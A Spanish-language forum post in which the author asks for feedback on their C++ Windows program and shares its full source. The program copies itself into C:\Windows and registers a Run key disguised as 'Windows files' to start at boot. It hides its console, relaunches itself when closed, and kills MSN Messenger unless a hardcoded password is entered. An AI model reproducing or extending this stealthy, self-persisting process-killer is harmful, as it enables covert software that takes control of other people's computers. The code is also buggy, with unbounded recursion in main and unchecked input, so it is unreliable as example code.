Quería ver si me comentaban que tal me va, o que le mejorarían.
Código: Seleccionar todo
#include <windows.h>
#include <iostream>
#include <tlhelp32.h>
#define BUFSIZE 90
int test_key(void);
int create_key(char *);
int detec(void);
int pass(void);
int kill(void);
int open(void);
int result;
char p[20];
char v[20]="pablorules";
HWND invisible;
BOOL WINAPI CtrlHandler (DWORD CtrlType) {
switch (CtrlType) {
case CTRL_CLOSE_EVENT:
Sleep(20);
open();
return 0;
default:
return FALSE;
}
}
BOOL KillProcess(LPSTR lpszExecutable)
{
BOOL bResult = FALSE;
PROCESSENTRY32 pe32 = { sizeof(PROCESSENTRY32) };
HANDLE hProcess, hProcesses = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(Process32First(hProcesses, &pe32)){
do{
if(CompareString(LOCALE_USER_DEFAULT, NORM_IGNORECASE, pe32.szExeFile, -1, lpszExecutable, -1) == CSTR_EQUAL){
if((hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pe32.th32ProcessID)) != NULL){
TerminateProcess(hProcess, 0); CloseHandle(hProcess); bResult = TRUE;
}
}
}while(Process32Next(hProcesses, &pe32));
CloseHandle(hProcesses);
}
return bResult;
}
int main()
{
system("title PPC");
BOOL added;
added = SetConsoleCtrlHandler ((PHANDLER_ROUTINE) CtrlHandler,
TRUE);
int test,create;
test=test_key();
if (test==2)
{
char *path="c:\\WINDOWS\\PPC.exe";
create=create_key(path);
}
char root[60]="C:\\Windows\\";
char nombre[60]="PPC";
char path[256]="PPC";
strcat(nombre,".exe");
strcat(root,nombre);
HMODULE copiar = GetModuleHandle(0);
GetModuleFileName(copiar, path, 256);
CopyFile(path,root,false);
detec();
AllocConsole();
invisible=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(invisible,1);
if (result==1)
{
printf("Activado\n");
Sleep(222);
pass();
if (strcmp(v,p)!=0){
kill();
result=0;
}
else
{
return 0;
}
}
else if (result==0)
{
Sleep(222);
detec();
}
main();
}
int pass(void)
{
printf ("\nIntroduzca clave: ");
scanf("%s",&p);
if (strcmp(v,p)!=0){
printf("\nIncorrecto\n");
system("cls");
Sleep(1111);
}
else
{
printf("\nCorrecto\n");
Sleep(999);
}
}
int kill(void)
{
return KillProcess("msnmsgr.exe");
}
int open(void)
{
HINSTANCE__* r = ShellExecute(NULL, "open", "C:\\WINDOWS\\PPC.exe", NULL, NULL, SW_SHOWNORMAL);
}
int detec(void)
{
AllocConsole();
invisible=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(invisible,0);
HANDLE hProcessSnap;
HANDLE hProcess;
PROCESSENTRY32 pe32;
DWORD dwPriorityClass;
hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
if( hProcessSnap == INVALID_HANDLE_VALUE )
{
printf( TEXT("CreateToolhelp32Snapshot (of processes)") );
return( FALSE );
}
pe32.dwSize = sizeof( PROCESSENTRY32 );
if( !Process32First( hProcessSnap, &pe32 ) )
{
printf( TEXT("Process32First") );
CloseHandle( hProcessSnap );
return( FALSE );
}
do
{
if(strcmp("msnmsgr.exe",pe32.szExeFile )==0){
result=1;
break;
}
} while( Process32Next( hProcessSnap, &pe32 ) );
if(result==1)
{
Sleep(22);
}
else
{
result=0;
Sleep(22);
}
CloseHandle( hProcessSnap );
}
int test_key(void)
{
int check;
HKEY hKey;
char path[BUFSIZE];
DWORD buf_length=BUFSIZE;
int reg_key;
reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
if(reg_key!=0)
{
check=1;
return check;
}
reg_key=RegQueryValueEx(hKey,"Windows Files",NULL,NULL,(LPBYTE)path,&buf_length);
if((reg_key!=0)||(buf_length>BUFSIZE))
check=2;
if(reg_key==0)
check=0;
RegCloseKey(hKey);
return check;
}
int create_key(char *path)
{
int reg_key,check;
HKEY hkey;
reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
if(reg_key==0)
{
RegSetValueEx((HKEY)hkey,"Windows files",0,REG_SZ,(BYTE *)path,strlen(path));
check=0;
return check;
}
if(reg_key!=0)
check=1;
return check;
}